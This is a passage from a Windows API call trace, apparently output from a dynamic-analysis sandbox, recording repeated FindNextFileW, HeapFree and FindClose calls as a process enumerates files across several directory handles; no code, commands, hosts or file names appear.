dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.996] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0049.998] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0049.998] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.000] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.000] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.001] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.001] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.266] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.266] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.268] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.268] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.270] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.270] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.272] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.272] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.274] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.274] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.275] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.275] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0050.276] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0050.276] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f50 | out: hHeap=0x690000) returned 1 [0050.277] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.277] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.278] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.393] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.393] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.394] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.394] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.394] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0050.395] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.395] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.397] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.397] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.399] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.399] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.400] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.400] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.401] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.401] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.401] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.401] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0050.401] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0050.401] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.401] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.401] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0050.401] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.403] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.736] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.736] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.736] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0050.737] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.737] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.737] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.737] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0050.737] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.737] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0050.737] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.737] FindNextFileW (in: hFindFile=0x4280500, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0050.737] FindClose (in: hFindFile=0x4280500 | out: hFindFile=0x4280500) returned 1 [0050.738] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.738] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.739] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.739] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0050.739] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0050.739] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.739] FindNextFileW (in: hFindFile=0x4280540, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0050.739] FindClose (in: hFindFile=0x4280540 | out: hFindFile=0x4280540) returned 1 [0050.739] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.740] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.742] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.742] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.744] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.744] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 1 [0050.745] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.745] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0050.745] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0050.745] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.745] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.747] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.747] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.748] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.748] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 1 [0050.748] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43b3f38 | out: hHeap=0x690000) returned 1 [0050.748] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32aeb94 | out: lpFindFileData=0x32aeb94) returned 0 [0050.748] FindClose (in: hFindFile=0x4280680 | out: hFindFile=0x4280680) returned 1 [0050.749] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.749] FindNextFileW (in: hFindFile=0x4280180, lpFindFileData=0x32aee10 | out: lpFindFileData=0x32aee10) returned 0 [0050.749] FindClose (in: hFindFile=0x4280180 | out: hFindFile=0x4280180) returned 1 [0050.749] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.749] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.751] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.751] FindNextFileW (in: hFindFile=0x4280100, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.751] FindClose (in: hFindFile=0x4280100 | out: hFindFile=0x4280100) returned 1 [0050.752] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.752] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.753] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.754] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.754] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.754] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.754] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0050.754] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.754] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.760] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.760] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.765] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.765] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.773] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.773] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.776] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.776] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.777] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.777] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.778] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.778] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.779] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.779] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.780] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.780] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.780] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.781] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.781] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.781] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.782] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.782] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.983] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x43a3f30 | out: hHeap=0x690000) returned 1 [0050.984] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.984] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.984] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.984] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.984] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.985] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.985] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.985] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.985] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.985] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.985] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.986] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.986] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.987] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.987] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.988] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.988] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.989] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0050.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4363f28 | out: hHeap=0x690000) returned 1 [0050.989] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0050.989] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0050.989] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4353f20 | out: hHeap=0x690000) returned 1 [0050.989] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.993] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.993] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0050.996] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0050.996] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.000] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.000] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.006] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0051.006] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.006] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.006] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.006] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42b3ed8 | out: hHeap=0x690000) returned 1 [0051.006] FindNextFileW (in: hFindFile=0x4280680, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 1 [0051.007] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.009] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.010] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.010] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.032] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.032] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.032] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.035] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.035] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.035] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.035] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.794] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42d3ee8 | out: hHeap=0x690000) returned 1 [0051.794] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af08c | out: lpFindFileData=0x32af08c) returned 0 [0051.795] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0051.795] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42c3ee0 | out: hHeap=0x690000) returned 1 [0051.795] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0051.796] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af308 | out: lpFindFileData=0x32af308) returned 1 [0051.796] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0051.796] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: lpFindFileData=0x32af584) returned 1 [0051.957] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4333f10 | out: hHeap=0x690000) returned 1 [0051.957] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af584 | out: 